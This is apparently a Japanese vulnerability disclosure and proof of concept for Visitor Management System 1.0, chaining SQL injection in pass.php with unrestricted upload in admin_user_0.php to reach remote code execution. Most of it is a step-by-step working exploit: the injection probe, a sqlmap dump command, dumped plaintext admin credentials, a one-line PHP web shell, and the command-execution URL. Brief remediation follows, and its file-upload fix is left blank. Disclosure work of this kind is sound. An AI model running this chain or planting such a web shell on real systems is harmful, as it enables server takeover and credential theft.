
Visitor Management System 1.0におけるSQLインジェクションと無制限ファイルアップロードを連鎖させてリモートコード実行を達成することを実証する概念実証で、段階的な悪用手順と是正ガイダンスを含みます。
| フィールド | 詳細 |
|---|
| 製品 | Visitor Management System |
| ベンダー | code-projects.org |
| バージョン | 1.0 |
| 脆弱性クラス | SQLインジェクション (CWE-89) + 無制限ファイルアップロード (CWE-434) |
| CVE ID | 未確定 |
| CVSSスコア | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 認証要件 | 低権限(ガードアカウント)をエントリーポイントとして使用 |
| 影響を受けるファイル | /vms/php/pass.php, /vms/php/admin_user_0.php |
| 脆弱性パラメータ | phone (POST) |
code-projects.org製のVisitor Management System 1.0は、SQLインジェクションと無制限ファイルアップロードを組み合わせた重大な攻撃チェーンに対して脆弱であり、リモートコード実行につながります。
低権限アクセス(ガードアカウント)を持つ攻撃者は、pass.phpのphone POSTパラメータを介したSQLインジェクション脆弱性を悪用して、データベース全体(平文の管理者認証情報を含む)をダンプできます。抽出した認証情報を使用して管理者として認証した後、攻撃者はAdmin User管理パネル(admin_user_0.php)を通じてPHPウェブシェルをアップロードできます。このパネルはファイルタイプや拡張子の検証を一切行いません。アップロードされたウェブシェルはWebアクセス可能なディレクトリに保存され、URL経由で直接実行できるため、サーバー上で完全なリモートコード実行が可能になります。
さらに、パスワードはデータベースに平文で保存されているため、SQLiダンプ後にクラッキングの手順は不要です。
低権限ガードログイン
↓
pass.phpでのSQLインジェクション(phoneパラメータ)
↓
sqlmapダンプ → 平文の管理者認証情報を抽出
↓
管理者としてログイン(sanjay1:7861)
↓
admin_user_0.phpでの無制限ファイルアップロード
↓
PHPウェブシェルを /vms/php/folder/ にアップロード
↓
?cmd=whoami によるRCE → サーバー完全侵害
VMSアプリケーションに移動し、ガード認証情報でログインします。ログイン後、電話番号ページに移動します:
http://<TARGET>/vms/php/phone_0.php

電話番号の値としてシングルクォート'を送信します。アプリケーションは生のクエリとファイルパスを公開する致命的なMariaDBエラーをスローします:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
影響を受けるファイル: pass.php 9行目
脆弱性パラメータ: phone (POST)

sql error

Burp Suiteでキャプチャしたリクエストをファイル(sqli.txt)に保存し、sqlmapを実行します:
sqlmap -r sqli.txt --dump --batch
sqlmapはvmsデータベースのlogin_userテーブルを正常にダンプし、全ユーザーの平文認証情報を明らかにします:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
注:パスワードは平文で保存されています — ハッシュクラッキングは不要です。

抽出した管理者認証情報を使用して、管理パネルにログインします:
Username: sanjay1
Password: 7861
従業員、部門、Admin User、レポート管理を含む完全な管理者ダッシュボードにアクセスできるようになります。

Admin User管理ページに移動します:
http://<TARGET>/vms/php/admin_user_0.php
このページにはプロフィール画像用のファイルアップロードフィールドがあります。アプリケーションはファイルタイプの検証、拡張子のフィルタリング、MIMEタイプのチェックを一切行いません。
フォームに任意の値を入力し、画像ファイルとして以下のPHPウェブシェルをアップロードします(web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>

Admin User表示ページに移動します:
http://<TARGET>/vms/php/admin_display_0.php
新しく作成された管理者アカウントがテーブルに表示されます。アップロードされたウェブシェルは以下に保存されます:
http://<TARGET>/vms/php/folder/web2_command.php

ウェブシェルを介して任意のシステムコマンドを実行します:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
結果: サーバーは現在のシステムユーザーを返し、完全なリモートコード実行を確認します:
desktop-g1i9np3\dell

| ファイル | 脆弱性 |
|---|---|
/vms/php/pass.php | phone POSTパラメータを介したSQLインジェクション |
/vms/php/admin_user_0.php | 無制限ファイルアップロード — 拡張子またはMIME検証なし |
/vms/php/folder/ | ウェブシェル保存ディレクトリ — Webアクセス可能、制限なし |
SQLインジェクション対策:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
ファイルアップロード対策:
パスワード保存対策:
password_hash()とpassword_verify()を使用 — 平文で保存しない